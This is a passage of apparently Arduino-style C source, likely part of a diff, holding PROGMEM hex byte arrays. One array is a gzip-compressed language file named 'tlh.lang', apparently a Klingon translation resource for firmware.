0x18, 0x37, 0x0d, 0xb4, 0xe2, 0x97, 0x66, 0x68, 0x8c, 0x69, 0x6c, 0xb6, 0x99, 0x5c, 0xd7, 0xc4, 0xbc, 0xfa, 0x81, 0x2b, 0x9b, 0x42, 0x6a, 0xd0, 0x00, 0xe3, 0x9a, 0xd0, 0xc8, 0x8c, 0x5f, 0x6c, 0x9c, 0x9b, 0x73, 0xf1, 0xc1, 0x6f, 0x2d, 0xe7, 0x5b, 0x81, 0xdc, 0xac, 0x6f, 0xdd, 0x08, 0x9b, 0xdc, 0x38, 0x39, 0x33, 0x92, 0x7a, 0x1b, 0x15, 0xbe, 0xbe, 0x7e, 0x78, 0x64, 0x28, 0x99, 0x0d, 0x0c, 0x6c, 0xa9, 0xa6, 0xff, 0x36, 0x80, 0x4a, 0x22, 0xbe, 0x63, 0x3b, 0x52, 0xd7, 0xee, 0x42, 0xe7, 0x63, 0x58, 0xd8, 0x14, 0xc5, 0xda, 0xd9, 0x9d, 0xb0, 0xb3, 0x92, 0xe2, 0xa1, 0x9c, 0xa0, 0xf7, 0xfb, 0x28, 0x5a, 0x6b, 0xfd, 0xc8, 0xf6, 0xda, 0xcd, 0xae, 0xc6, 0x4a, 0xb1, 0x7e, 0xee, 0xfc, 0x5b, 0x7f, 0xfd, 0x1f, 0x31, 0xb3, 0xdc, 0xad, 0xbf, 0x30, 0x00, 0x00}; +const char tlhlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb7, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x74, 0x6c, 0x68, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xbd, 0x59, 0x4d, 0x8f, 0xdb, 0x38, 0x12, 0xbd, 0xcf, 0xaf, 0x60, 0xfa, 0xa2, 0x04, 0x70, 0x1b, 0xdd, 0x9d, 0x9d, 0x41, 0x76, 0x80, 0x3d, 0x04, 0xe3, 0x99, 0xb5, 0x0e, 0x3b, 0x48, 0x47, 0x01, 0x76, 0x0f, 0x0d, 0x18, 0x94, 0x44, 0xdb, 0x72, 0x28, 0x52, 0x16, 0x49, 0x39, 0x9e, 0xc5, 0xfe, 0xf7, 0x7d, 0x55, 0xa4, 0x64, 0xb5, 0xbb, 0x03, 0x0c, 0xf6, 0xb0, 0x87, 0x0e, 0x64, 0x8a, 0xaa, 0x2a, 0xd6, 0xc7, 0xab, 0x57, 0xcc, 0xbf, 0x7f, 0x10, 0xe2, 0x46, 0x4b, 0xb3, 0xbb, 0xf9, 0x59, 0xdc, 0x78, 0xbd, 0xbf, 0x59, 0xd0, 0xc2, 0x49, 0xf6, 0xa6, 0x89, 0x6b, 0xff, 0xfc, 0xf8, 0xf9, 0xf7, 0xfc, 0xf7, 0xbf, 0xc7, 0xf5, 0xba, 0x71, 0x95, 0x96, 0x4d, 0xab, 0x7a, 0x7a, 0x75, 0xc8, 0x4d, 0x6b, 0xb5, 0xf0, 0xb6, 0x14, 0x95, 0x35, 0x95, 0xea, 0xbc, 0x38, 0xc9, 0xb5, 0xc8, 0xd4, 0x41, 0xa8, 0x3a, 0x54, 0xd2, 0x37, 0xd6, 0x48, 0x2d, 0xcc, 0xce, 0x3e, 0x2e, 0x85, 0x31, 0xaa, 0xf1, 0x7b, 0xd5, 0x8b, 0x23, 0xbd, 0x76, 0xdd, 0x87, 0x87, 0x9f, 0x7e, 0x5a, 0xf0, 0xde, 0x27, 0xe3, 0xea, 0xaf, 0xe2, 0x60, 0x8f, 0x62, 0xc8, 0x8f, 0xbc, 0x5b, 0x1c, 0x65, 0xb5, 0x5f, 0x0a, 0x0d, 0x61, 0xad, 0x3c, 0x67, 0xe2, 0x6c, 0x61, 0xd9, 0x4a, 0x1e, 0xc5, 0x6e, 0xaf, 0x4e, 0x6f, 0x20, 0x2a, 0x38, 0x25, 0x32, 0xbb, 0x16, 0x46, 0xad, 0x85, 0xdc, 0xc9, 0xc6, 0x38, 0x0f, 0x31, 0x46, 0xf9, 0x93, 0xed, 0xbf, 0x3a, 0x71, 0x90, 0x86, 0x24, 0xbf, 0x11, 0x6d, 0x28, 0x45, 0xaf, 0x76, 0x41, 0xb3, 0x2d, 0x8e, 0xf7, 0x17, 0xaa, 0x13, 0xd5, 0x5e, 0x55, 0x5f, 0x21, 0xa7, 0xf1, 0x42, 0xdb, 0x8c, 0x97, 0x1b, 0xa5, 0x94, 0xf8, 0x70, 0xf7, 0xb0, 0xbc, 0xbf, 0x7f, 0x32, 0x62, 0x8d, 0x73, 0xad, 0x94, 0x66, 0xfb, 0x4e, 0xf8, 0x2b, 0xad, 0x17, 0x9d, 0xdc, 0xed, 0xc5, 0x40, 0xf6, 0x14, 0x2a, 0xc3, 0x81, 0x3a, 0xad, 0x24, 0xec, 0x30, 0x79, 0x21, 0x56, 0x52, 0x97, 0x16, 0x6f, 0x8f, 0xea, 0xac, 0xf3, 0xe2, 0x76, 0xdb, 0x60, 0x9f, 0x6e, 0x6a, 0xd8, 0xd4, 0xc9, 0x4c, 0x34, 0x7e, 0x69, 0xc6, 0xdd, 0xe7, 0x9c, 0x14, 0x3e, 0xe2, 0xaf, 0x57, 0x5b, 0x78, 0xe3, 0xa0, 0xc4, 0xd3, 0xcd, 0x41, 0xb6, 0x2d, 0x3d, 0xb3, 0x3f, 0x9f, 0x6e, 0x16, 0xe2, 0x94, 0xb7, 0x6a, 0x68, 0xb1, 0x29, 0xb9, 0xb8, 0x57, 0x52, 0xc3, 0x2a, 0x6f, 0xbd, 0xd4, 0xfa, 0x2c, 0x82, 0xa9, 0x55, 0xdf, 0x36, 0x46, 0x39, 0x18, 0x98, 0xc1, 0x21, 0xcd, 0x56, 0x14, 0x76, 0x3d, 0xc8, 0x15, 0x79, 0x34, 0x8b, 0x46, 0x9a, 0x70, 0x14, 0x5b, 0xdb, 0x93, 0xa1, 0xa1, 0xd4, 0x8d, 0xdb, 0x23, 0xa0, 0x22, 0x93, 0xb0, 0x69, 0xb7, 0xcf, 0xd7, 0xf0, 0xf5, 0xda, 0xcb, 0x35, 0x5b, 0xbd, 0x0e, 0x70, 0x6f, 0xfa, 0xb7, 0xeb, 0x6d, 0x07, 0x53, 0x1e, 0x65, 0x3b, 0xea, 0x1e, 0x72, 0x78, 0x4b, 0x8b, 0xb3, 0x3c, 0x90, 0x0e, 0xf6, 0x15, 0x45, 0x1c, 0xee, 0x7f, 0x32, 0xac, 0x8d, 0x56, 0xfa, 0x50, 0xed, 0x45, 0xa5, 0x9b, 0xea, 0xab, 0x5b, 0x88, 0xad, 0x6c, 0x95, 0x38, 0xda, 0x03, 0x44, 0x62, 0x95, 0x5c, 0xc8, 0xae, 0x3b, 0xe5, 0x47, 0xa5, 0x57, 0x79, 0xb6, 0x40, 0x50, 0xd7, 0x6a, 0x45, 0x7e, 0x7b, 0x42, 0x96, 0x79, 0xa5, 0xb5, 0xaa, 0x7c, 0x40, 0xa6, 0x94, 0xc8, 0x43, 0xc4, 0x58, 0x1e, 0x16, 0x88, 0x3d, 0x59, 0xb3, 0x82, 0xf8, 0x82, 0x84, 0xe0, 0x81, 0x54, 0x51, 0xcc, 0xe1, 0xb1, 0x22, 0x0c, 0xb0, 0x7d, 0x20, 0xc7, 0x07, 0x43, 0x6e, 0x7a, 0x32, 0xa7, 0x06, 0x4e, 0x77, 0x5e, 0x9a, 0x5a, 0xf6, 0x35, 0xdc, 0x8d, 0x93, 0x23, 0x29, 0xdb, 0x36, 0x20, 0xc6, 0x67, 0xc4, 0x5b, 0x92, 0xa0, 0xe1, 0x94, 0x67, 0x42, 0x7d, 0xeb, 0x90, 0xef, 0x9c, 0x10, 0x3f, 0x5f, 0x67, 0xf5, 0x6d, 0x19, 0xbc, 0xb7, 0x86, 0x92, 0x5b, 0xcb, 0x15, 0xa9, 0xf2, 0x21, 0x13, 0x27, 0x3b, 0x94, 0x50, 0x4e, 0x1e, 0x38, 0xe4, 0xeb, 0xf8, 0x4d, 0xaf, 0xb4, 0x95, 0x35, 0x6d, 0xfc, 0x1c, 0x9f, 0x78, 0xd5, 0x55, 0x92, 0x3f, 0x5e, 0xdb, 0xa9, 0x94, 0x9c, 0x6b, 0x6a, 0x47, 0x6b, 0x45, 0x91, 0xaf, 0x5c, 0x5c, 0x93, 0xde, 0x4b, 0x78, 0x8a, 0x77, 0xe6, 0x43, 0xda, 0xa7, 0xbc, 0x47, 0x84, 0xd2, 0xe2, 0xa1, 0x55, 0x49, 0x51, 0x83, 0xa3, 0xd0, 0x1a, 0x3c, 0x70, 0x59, 0xd8, 0xb8, 0x2e, 0x2a, 0xc2, 0x2a, 0xfe, 0x8d, 0x42, 0xb5, 0x8e, 0xaa, 0xab, 0xa4, 0x19, 0x87, 0x46, 0x49, 0xf0, 0xe2, 0x2f, 0xe9, 0x31, 0x1e, 0x57, 0x0d, 0x4d, 0xa5, 0x58, 0x91, 0xb7, 0x2b, 0x2a, 0x96, 0xd1, 0x02, 0x8a, 0xc3, 0x66, 0x26, 0x07, 0x21, 0x1b, 0xc6, 0x6f, 0x5e, 0x79, 0x5b, 0xab, 0xdb, 0x69, 0x43, 0xaf, 0x5a, 0x3b, 0xa8, 0x67, 0xaf, 0xbd, 0x3a, 0x26, 0xc1, 0x9e, 0xbd, 0xbd, 0x21, 0xef, 0x6c, 0x3c, 0xfc, 0x4c, 0x5b, 0xce, 0x28, 0x6e, 0x76, 0x93, 0xe8, 0x6c, 0x3a, 0xaa, 0x51, 0x27, 0x7a, 0x53, 0xed, 0x43, 0x3a, 0xaa, 0x93, 0x83, 0x8a, 0x2b, 0x36, 0x89, 0x92, 0x35, 0xfb, 0xbc, 0x9c, 0xfd, 0xde, 0x44, 0xcb, 0x14, 0xbf, 0x80, 0x3d, 0x42, 0xa2, 0xbe, 0xb5, 0x35, 0x2a, 0xee, 0x80, 0x55, 0xfd, 0xa9, 0x6f, 0x3c, 0x0b, 0xea, 0x73, 0x83, 0xfc, 0xca, 0xa7, 0xe0, 0x90, 0x31, 0x1b, 0x4a, 0xc1, 0x1e, 0xf5, 0x4a, 0x1b, 0x60, 0x8b, 0x48, 0xbf, 0x93, 0x4d, 0xa1, 0x2d, 0x23, 0xda, 0xb5, 0x3a, 0x59, 0xe5, 0x65, 0xbf, 0x53, 0x9e, 0xfd, 0xd7, 0xa3, 0xd0, 0x2e, 0x91, 0xdf, 0x8c, 0xb1, 0xba, 0x8d, 0x07, 0xe3, 0x7a, 0xe0, 0xfc, 0xd7, 0xb6, 0x40, 0xd1, 0xfa, 0x06, 0x60, 0xa9, 0xf7, 0x48, 0xa5, 0xb7, 0x5c, 0x10, 0x38, 0x16, 0xe0, 0x28, 0xac, 0xf8, 0x4f, 0xab, 0x5a, 0xf8, 0xfc, 0xf0, 0x6e, 0x81, 0xea, 0x3d, 0xa4, 0x4f, 0x63, 0x6a, 0xa1, 0x82, 0x6f, 0x49, 0x48, 0xa9, 0xca, 0x01, 0xb9, 0xce, 0xe6, 0x6d, 0x65, 0xa5, 0x20, 0x51, 0x0e, 0xb2, 0xd1, 0xb2, 0xd4, 0x4a, 0xd4, 0xa1, 0xa7, 0xfa, 0xbe, 0x78, 0x95, 0xbe, 0xe8, 0x15, 0x70, 0xd9, 0xc0, 0x39, 0x00, 0x28, 0x2a, 0xab, 0x37, 0xa8, 0x97, 0x52, 0xe9, 0xd6, 0xae, 0xe1, 0x63, 0x18, 0x40, 0x95, 0x7b, 0x42, 0x65, 0xac, 0x60, 0x1e, 0x79, 0xce, 0xdc, 0x02, 0x4b, 0x9e, 0xcc, 0x2c, 0x71, 0x2f, 0x47, 0x22, 0xd8, 0xf2, 0x8a, 0x24, 0xd3, 0x0b, 0x18, 0x23, 0x21, 0x1b, 0x05, 0xd9, 0x25, 0x2b, 0x93, 0xc9, 0x47, 0x59, 0x74, 0x21, 0x43, 0x95, 0xf3, 0x36, 0x98, 0xce, 0xb1, 0x20, 0xd3, 0x8c, 0x3a, 0x50, 0xf9, 0x21, 0xe1, 0xe9, 0x40, 0x9c, 0x21, 0x2c, 0x89, 0x50, 0x7e, 0x25, 0x33, 0x86, 0x06, 0x80, 0x0d, 0x52, 0x12, 0xb9, 0x8f, 0x28, 0xd9, 0x7e, 0x17, 0x77, 0x2c, 0xcd, 0x2d, 0x01, 0x8f, 0xaa, 0x11, 0xc4, 0x9a, 0x31, 0x28, 0xaa, 0xa2, 0x66, 0xd0, 0xaa, 0xb3, 0xd0, 0xf9, 0x41, 0xbc, 0x7f, 0x10, 0x43, 0xc0, 0x87, 0xe7, 0x8c, 0xa0, 0x79, 0x3c, 0x42, 0xac, 0xb3, 0xcb, 0x19, 0x92, 0x37, 0x90, 0x8b, 0x84, 0x08, 0x47, 0xa1, 0x43, 0xc4, 0xb4, 0xb5, 0xda, 0xed, 0x57, 0xd1, 0x36, 0xc2, 0x90, 0x9e, 0x0a, 0x11, 0x9e, 0xb8, 0x1d, 0xfd, 0x52, 0x02, 0x8e, 0x0f, 0x84, 0x57, 0xb5, 0x92, 0xc1, 0xef, 0x45, 0x2c, 0xfe, 0xf1, 0x28, 0x54, 0x44, 0x7c, 0x12, 0xda, 0x31, 0xfa, 0x05, 0xde, 0x4f, 0xaf, 0x7f, 0x61, 0x63, 0xd3, 0xe9, 0x3b, 0xd8, 0xa3, 0xbc, 0xe8, 0xa5, 0x57, 0xe4, 0x1b, 0xf4, 0x80, 0x5e, 0xb9, 0xfd, 0x73, 0x04, 0xb8, 0xd8, 0x4b, 0x92, 0x7b, 0x55, 0x5a, 0xeb, 0x2f, 0x82, 0x18, 0xdb, 0x4b, 0xc5, 0xc8, 0x2b, 0xbb, 0x4e, 0x37, 0xf0, 0x09, 0x25, 0xd2, 0x02, 0xae, 0x8f, 0xd5, 0xf4, 0xc8, 0x51, 0x19, 0xa5, 0xe1, 0xcb, 0x19, 0x6e, 0x3c, 0x6f, 0xe0, 0x0d, 0xfc, 0x40, 0x4d, 0xc9, 0x6e, 0x91, 0x4b, 0xc0, 0x45, 0x2e, 0x23, 0x60, 0xff, 0x6e, 0xbf, 0xa0, 0xf6, 0x41, 0xe9, 0x41, 0x5d, 0x37, 0x1d, 0x97, 0x13, 0x19, 0x9e, 0x22, 0x10, 0x84, 0xf8, 0xbe, 0x01, 0x62, 0x23, 0xdc, 0x09, 0x89, 0x6b, 0x55, 0x86, 0xdd, 0x0e, 0x1a, 0x97, 0x53, 0xd1, 0xf7, 0x7e, 0xe3, 0xbc, 0xed, 0x48, 0x13, 0xff, 0x22, 0x68, 0xef, 0x04, 0x3a, 0xdb, 0x6c, 0x07, 0x23, 0xe3, 0x97, 0x8f, 0x9f, 0xbf, 0x8c, 0x6b, 0x71, 0xff, 0xb4, 0x89, 0x70, 0x7d, 0x63, 0xb7, 0x5b, 0x2e, 0x6e, 0xbb, 0xb5, 0xc8, 0xd5, 0x09, 0x81, 0xc9, 0x31, 0x5c, 0x85, 0x0a, 0x66, 0x16, 0xe3, 0x2a, 0x0e, 0x9e, 0x16, 0xe7, 0x30, 0xaa, 0x0c, 0x95, 0xc9, 0xa6, 0x47, 0x83, 0xb0, 0x2d, 0xbd, 0xff, 0x95, 0x17, 0xc4, 0x67, 0x5e, 0x10, 0xff, 0xb0, 0xb5, 0x9a, 0x9a, 0xc1, 0xd5, 0xce, 0x55, 0x5c, 0x79, 0xb9, 0x35, 0x6e, 0xd9, 0x00, 0x1b, 0xab, 0x08, 0x06, 0xfc, 0xbe, 0xc5, 0x7b, 0x91, 0x9e, 0x39, 0x2d, 0xce, 0xb6, 0x18, 0xd4, 0x48, 0x60, 0x94, 0x51, 0x14, 0x7c, 0xf8, 0x14, 0xa5, 0x97, 0x1b, 0x5b, 0x1e, 0xa9, 0xe7, 0x8d, 0x10, 0x24, 0xa2, 0x99, 0xcb, 0x11, 0x74, 0x29, 0xdb, 0x26, 0xf9, 0xdc, 0xe2, 0x88, 0xda, 0xcc, 0xd2, 0xb8, 0x40, 0xb4, 0x3b, 0x0b, 0x09, 0xb4, 0x4e, 0xa9, 0x1a, 0x69, 0x00, 0x58, 0x14, 0xe4, 0xc7, 0xef, 0x15, 0x70, 0x27, 0x72, 0xb1, 0x89, 0xa6, 0x18, 0x79, 0xca, 0x04, 0x91, 0x3e, 0xaa, 0x24, 0xbc, 0xa7, 0xd0, 0x22, 0x4f, 0xfc, 0xbe, 0x71, 0x40, 0x88, 0x75, 0xa2, 0x49, 0xeb, 0x44, 0x87, 0x4e, 0x97, 0x4a, 0x23, 0x46, 0x02, 0x45, 0x26, 0x1f, 0x48, 0xce, 0xed, 0xc3, 0xdd, 0xdd, 0x5f, 0x99, 0x2a, 0x8d, 0x1c, 0x2c, 0xa5, 0x3c, 0x48, 0x84, 0x4f, 0x06, 0x22, 0x74, 0xaa, 0x77, 0x63, 0x36, 0x5d, 0x01, 0xce, 0x9b, 0xb1, 0xcc, 0xdb, 0xa0, 0x7d, 0x03, 0x86, 0xc4, 0x2f, 0x28, 0xb3, 0x8f, 0x28, 0x92, 0x2e, 0x6f, 0x45, 0xea, 0x61, 0x8e, 0x93, 0x2f, 0x26, 0x11, 0x74, 0x20, 0x3b, 0xe1, 0x5c, 0xad, 0x1e, 0x99, 0x10, 0x14, 0xb2, 0x1c, 0x99, 0xcc, 0xb3, 0xed, 0x8c, 0xb1, 0x99, 0x2a, 0x67, 0x30, 0xf8, 0x1a, 0x8c, 0x52, 0x1d, 0x46, 0x78, 0x1c, 0x1d, 0x18, 0xbd, 0x1f, 0x2b, 0x79, 0xf2, 0xfe, 0x4a, 0x1a, 0xbb, 0x26, 0x64, 0x4a, 0x15, 0x1e, 0x2b, 0xd9, 0xcd, 0x7c, 0x29, 0x6b, 0xb4, 0x1a, 0xdf, 0x38, 0x48, 0xe4, 0x90, 0x60, 0x17, 0x2a, 0x30, 0xd8, 0xe0, 0x40, 0xd9, 0xae, 0xbe, 0xa2, 0x33, 0x9e, 0xf3, 0x47, 0x7b, 0x5e, 0x44, 0x1e, 0xbb, 0x63, 0xe7, 0x30, 0x7d, 0x8d, 0x1f, 0x97, 0xb6, 0x0b, 0x2d, 0xa9, 0x9b, 0x30, 0x92, 0x68, 0x19, 0x97, 0x5f, 0x1f, 0x40, 0x6d, 0xf6, 0xc4, 0x4b, 0x28, 0x21, 0x46, 0xd2, 0x8b, 0x63, 0x9c, 0x6d, 0x20, 0x66, 0x0b, 0x46, 0xb4, 0x4e, 0x19, 0x84, 0x40, 0x94, 0x6a, 0x3a, 0x42, 0xd2, 0xc2, 0x40, 0xd4, 0xab, 0x63, 0x50, 0x0e, 0x96, 0x44, 0x53, 0x63, 0x1a, 0x50, 0x6c, 0x91, 0xa8, 0x60, 0x77, 0x03, 0xb3, 0xbd, 0x61, 0xb2, 0xa9, 0x08, 0x2d, 0x14, 0x10, 0xed, 0x9e, 0x48, 0x36, 0x6b, 0xf7, 0x3d, 0x1d, 0x08, 0x01, 0x6e, 0x01, 0x01, 0xc9, 0x70, 0x96, 0x10, 0x89, 0x25, 0xfc, 0x39, 0xf1, 0xd1, 0x36, 0x74, 0x84, 0x26, 0xb2, 0x80, 0x79, 0x25, 0x85, 0x87, 0x76, 0xd3, 0x0e, 0xb0, 0xac, 0x43, 0x20, 0xa4, 0x81, 0xed, 0xdc, 0x94, 0x92, 0x1b, 0x70, 0x5e, 0x33, 0x3a, 0x80, 0x3b, 0x0f, 0x2c, 0x68, 0x7c, 0xe6, 0x08, 0x46, 0xce, 0x60, 0x7a, 0x6b, 0xe2, 0x74, 0xd3, 0x51, 0x13, 0xde, 0x6d, 0x10, 0x03, 0xd7, 0x8c, 0x14, 0x2e, 0x66, 0x1c, 0xf7, 0xd9, 0xb4, 0x0e, 0x43, 0x41, 0x40, 0x9b, 0x25, 0x82, 0x34, 0x3c, 0x2c, 0xef, 0x96, 0x31, 0xe9, 0x23, 0x52, 0xcc, 0xd0, 0x6c, 0x1d, 0xe7, 0x96, 0xe3, 0x95, 0x70, 0xb2, 0x85, 0x3d, 0x39, 0x05, 0x9d, 0x4a, 0xe2, 0xd5, 0xe6, 0xfc, 0x96, 0x5c, 0x18, 0xcb, 0xb9, 0x7e, 0x97, 0x9a, 0x21, 0xb2, 0xbd, 0x64, 0xc6, 0x8c, 0xaa, 0x04, 0x15, 0x2f, 0xe7, 0xa9, 0x3b, 0xb5, 0x2f, 0x71, 0xcf, 0x02, 0xdf, 0xdf, 0x5f, 0xe9, 0xee, 0xa4, 0x73, 0x70, 0xcc, 0xff, 0xa6, 0xbf, 0x0d, 0xd9, 0x29, 0x3f, 0xfc, 0x59, 0x0b, 0x3e, 0xbc, 0x6e, 0xc1, 0x8c, 0x50, 0xd6, 0x6a, 0x2b, 0x51, 0xb3, 0x31, 0x09, 0xd2, 0x3a, 0xfb, 0x19, 0xb9, 0xd5, 0x42, 0xf1, 0xd8, 0x51, 0xc7, 0x6e, 0x7a, 0x25, 0x69, 0xdf, 0xd4, 0xb5, 0x8a, 0x4c, 0xb9, 0x41, 0x76, 0x0a, 0xb2, 0x46, 0x56, 0x20, 0xa5, 0x94, 0x8f, 0x38, 0x03, 0x16, 0xa4, 0x17, 0x08, 0x0c, 0x32, 0xae, 0xa6, 0x29, 0x86, 0x77, 0x9c, 0x50, 0xcb, 0xb3, 0x03, 0x62, 0xe8, 0x19, 0xcf, 0x77, 0x6d, 0xa8, 0xec, 0x7c, 0x33, 0xa8, 0x4f, 0xb6, 0xf7, 0x91, 0xd6, 0xcd, 0x00, 0xef, 0x62, 0xe3, 0x9f, 0x70, 0x5b, 0x61, 0xb3, 0x2b, 0xd1, 0x40, 0x54, 0x3b, 0xd2, 0x52, 0x7a, 0x6e, 0x81, 0xac, 0x95, 0xc0, 0x0a, 0x51, 0x1c, 0x8a, 0xf2, 0x82, 0xab, 0x88, 0x93, 0x9b, 0x31, 0x2b, 0xb5, 0xe1, 0x24, 0xd3, 0x7d, 0x47, 0xdc, 0xc8, 0x8a, 0x67, 0xfc, 0x13, 0xa8, 0x7a, 0x2d, 0x9f, 0x92, 0xb9, 0x6d, 0x34, 0x86, 0x39, 0x42, 0xb4, 0xfa, 0x5a, 0x18, 0x5a, 0x17, 0x46, 0x9b, 0x73, 0xec, 0xec, 0xe3, 0x81, 0x78, 0xf4, 0x79, 0x5d, 0x79, 0xda, 0xff, 0x05, 0xba, 0x6d, 0xe0, 0xa6, 0x79, 0x61, 0x6f, 0x91, 0xa7, 0x96, 0xc8, 0x07, 0xea, 0xb8, 0x53, 0x3c, 0x1b, 0x23, 0x2b, 0x72, 0x2d, 0x8b, 0x5d, 0x61, 0x32, 0x24, 0xf6, 0xbe, 0x8c, 0xfb, 0x7c, 0x94, 0x83, 0xe1, 0x96, 0x78, 0x88, 0xf1, 0x36, 0x62, 0x9b, 0x0e, 0x9e, 0x72, 0xea, 0xee, 0xba, 0x94, 0x98, 0x40, 0x30, 0x37, 0x88, 0x54, 0x62, 0x0e, 0xc8, 0x5c, 0xe6, 0xf4, 0x71, 0x94, 0x05, 0xb4, 0xeb, 0xc6, 0x33, 0xbc, 0x79, 0x4d, 0xcc, 0xaf, 0x08, 0xeb, 0xa5, 0xa9, 0xc3, 0xd9, 0xf8, 0xcd, 0x69, 0x03, 0xd4, 0xdd, 0x43, 0x32, 0x26, 0x41, 0xf2, 0x5f, 0x8b, 0x04, 0x93, 0x3b, 0xf0, 0x1d, 0x80, 0x41, 0x62, 0x30, 0x57, 0x56, 0x21, 0xc5, 0x48, 0xce, 0xab, 0xa9, 0xf1, 0xba, 0x13, 0xf1, 0x45, 0xd1, 0x35, 0xdb, 0xad, 0x9b, 0xeb, 0x2f, 0x3e, 0xe5, 0xbf, 0xfd, 0x56, 0xb0, 0x05, 0x98, 0x88, 0x38, 0x71, 0xb7, 0xcd, 0xcb, 0x6f, 0x75, 0x1c, 0x5a, 0xde, 0xf6, 0xbb, 0xf2, 0x1d, 0x0f, 0x00, 0x5b, 0x25, 0x7d, 0xe8, 0xbf, 0xa7, 0xaa, 0x95, 0xdf, 0x30, 0xdb, 0x11, 0x3b, 0x92, 0xdf, 0x96, 0x53, 0xd5, 0x31, 0xdd, 0x67, 0x70, 0x16, 0xf7, 0xf7, 0x0b, 0xa1, 0x82, 0xf8, 0x9b, 0xb8, 0x7f, 0x8f, 0x16, 0x99, 0x23, 0x09, 0xf1, 0x8c, 0x5f, 0x7f, 0x79, 0x21, 0xa8, 0xfa, 0xf8, 0x29, 0x0a, 0xaa, 0x98, 0x42, 0xf0, 0x25, 0xc8, 0x54, 0x23, 0xc4, 0x60, 0x66, 0xf7, 0x1b, 0xe8, 0xe5, 0x8c, 0xe2, 0xec, 0x09, 0xba, 0xd0, 0x19, 0xbf, 0xe2, 0x8e, 0xbe, 0x93, 0x05, 0xf5, 0x93, 0x33, 0x46, 0x72, 0x4e, 0x19, 0x90, 0x9a, 0x9d, 0x7c, 0x04, 0xc6, 0x7b, 0xc9, 0x89, 0x34, 0x6e, 0x1e, 0x33, 0x28, 0xd5, 0x56, 0x2a, 0xf7, 0x58, 0xed, 0xac, 0xf0, 0x85, 0x89, 0x85, 0x9f, 0x9b, 0x48, 0x93, 0xcd, 0xff, 0xc5, 0xb0, 0x51, 0x11, 0x39, 0xe5, 0x05, 0x00, 0x8e, 0x75, 0x4a, 0x35, 0xc3, 0xe1, 0x7d, 0xb4, 0x99, 0xb1, 0xd4, 0xfa, 0x22, 0xb1, 0x79, 0x16, 0x14, 0x41, 0x97, 0x3f, 0x40, 0xdc, 0x02, 0x8c, 0xb9, 0x0c, 0x05, 0xb7, 0xa1, 0xeb, 0x12, 0x16, 0x6f, 0x69, 0x65, 0x06, 0x3a, 0x93, 0x88, 0xbd, 0xed, 0x3a, 0x28, 0x7d, 0xb7, 0x14, 0x98, 0x65, 0xa7, 0xd5, 0x52, 0x41, 0xab, 0x12, 0x3b, 0x4b, 0xf9, 0xec, 0x2d, 0xe3, 0x22, 0xa8, 0x3b, 0xc0, 0xd2, 0x5c, 0xc9, 0xb5, 0x06, 0xb4, 0x03, 0x18, 0x79, 0x25, 0x8f, 0x50, 0xf5, 0x3b, 0xb0, 0x89, 0x1a, 0x59, 0x31, 0x65, 0x74, 0x11, 0xe2, 0xbf, 0xc3, 0x1e, 0xa7, 0x69, 0x89, 0xcf, 0x48, 0x26, 0x9f, 0xf2, 0x47, 0x24, 0x0f, 0xb5, 0xdb, 0x34, 0x20, 0xb1, 0xff, 0x20, 0xae, 0x69, 0x43, 0x4b, 0x1d, 0xf7, 0x1a, 0xf5, 0x78, 0x2e, 0xf3, 0xaf, 0xe1, 0x0e, 0x39, 0xf2, 0xed, 0xa5, 0x0f, 0xeb, 0xd0, 0xbd, 0x13, 0xb2, 0xb5, 0x18, 0x9e, 0xf9, 0x42, 0x0b, 0x73, 0x01, 0x73, 0x86, 0x09, 0x1a, 0xe9, 0x3e, 0x0c, 0x29, 0x01, 0xc9, 0x8c, 0x17, 0x77, 0x17, 0xd4, 0xb8, 0xd2, 0x09, 0xb7, 0x55, 0x2a, 0xd1, 0xaf, 0x78, 0x45, 0x51, 0x10, 0xe7, 0x23, 0x26, 0x02, 0xc0, 0x1e, 0x24, 0xc8, 0xba, 0xb6, 0x27, 0xe0, 0x42, 0xbc, 0xe6, 0xcb, 0xb3, 0xbc, 0xeb, 0x81, 0x3a, 0x01, 0xb4, 0x96, 0xd9, 0xff, 0x10, 0x3c, 0xd3, 0xb1, 0x28, 0x8e, 0x27, 0x38, 0x0e, 0x66, 0x19, 0xdc, 0x19, 0x47, 0xac, 0xf6, 0x6b, 0x4b, 0x14, 0xa9, 0xa4, 0x50, 0x31, 0xf8, 0x4b, 0xd0, 0x97, 0x7c, 0x45, 0x59, 0x04, 0xc7, 0x40, 0x15, 0x80, 0x68, 0x00, 0x0e, 0xe8, 0xc0, 0x34, 0x2c, 0x5a, 0x92, 0x2c, 0xa7, 0xf0, 0xa7, 0xc9, 0x30, 0x5d, 0x68, 0x21, 0x68, 0x03, 0x1c, 0x0e, 0x05, 0x99, 0xa4, 0xbb, 0x46, 0x54, 0xfc, 0x33, 0x49, 0x0f, 0x3f, 0xfe, 0x78, 0x05, 0x84, 0xd1, 0xf3, 0x0e, 0xac, 0x29, 0xde, 0x4f, 0x4c, 0x84, 0x8f, 0x0c, 0x79, 0x11, 0x4b, 0x9a, 0x72, 0x9c, 0xb3, 0x55, 0x13, 0x7f, 0x12, 0xde, 0x4d, 0xe1, 0xa5, 0xc9, 0x1c, 0x3c, 0x7c, 0xf9, 0x9a, 0xfc, 0xcf, 0xa8, 0xbc, 0x48, 0xae, 0x5a, 0xc5, 0x77, 0xb5, 0xc7, 0x78, 0x05, 0x78, 0x19, 0x37, 0x26, 0x39, 0x87, 0x78, 0x83, 0x47, 0xd9, 0x8f, 0x86, 0x18, 0x87, 0x53, 0xaa, 0xb7, 0xcb, 0xf4, 0x72, 0xa5, 0x21, 0x52, 0xe4, 0x19, 0xc9, 0x98, 0x55, 0x45, 0xbc, 0x15, 0x89, 0xa6, 0x8d, 0x43, 0x0c, 0xbb, 0x71, 0x3e, 0x23, 0x8c, 0x89, 0x99, 0xb8, 0x36, 0xe5, 0x09, 0xe6, 0x88, 0x57, 0xb5, 0xe4, 0xb3, 0x3b, 0x1f, 0x96, 0x1c, 0x09, 0xa0, 0x57, 0x98, 0xa3, 0x59, 0x70, 0xdc, 0xe6, 0xa2, 0xca, 0xb1, 0xd9, 0x2d, 0x99, 0x1d, 0x9f, 0xc7, 0xdd, 0xd8, 0x58, 0x2e, 0x2e, 0xed, 0xfa, 0xfe, 0xee, 0xae, 0x75, 0x4b, 0x23, 0x11, 0xf6, 0xec, 0x18, 0xe2, 0xbd, 0x28, 0x25, 0x4f, 0xa3, 0xe9, 0x0a, 0x92, 0x5c, 0x7c, 0x44, 0x42, 0xb9, 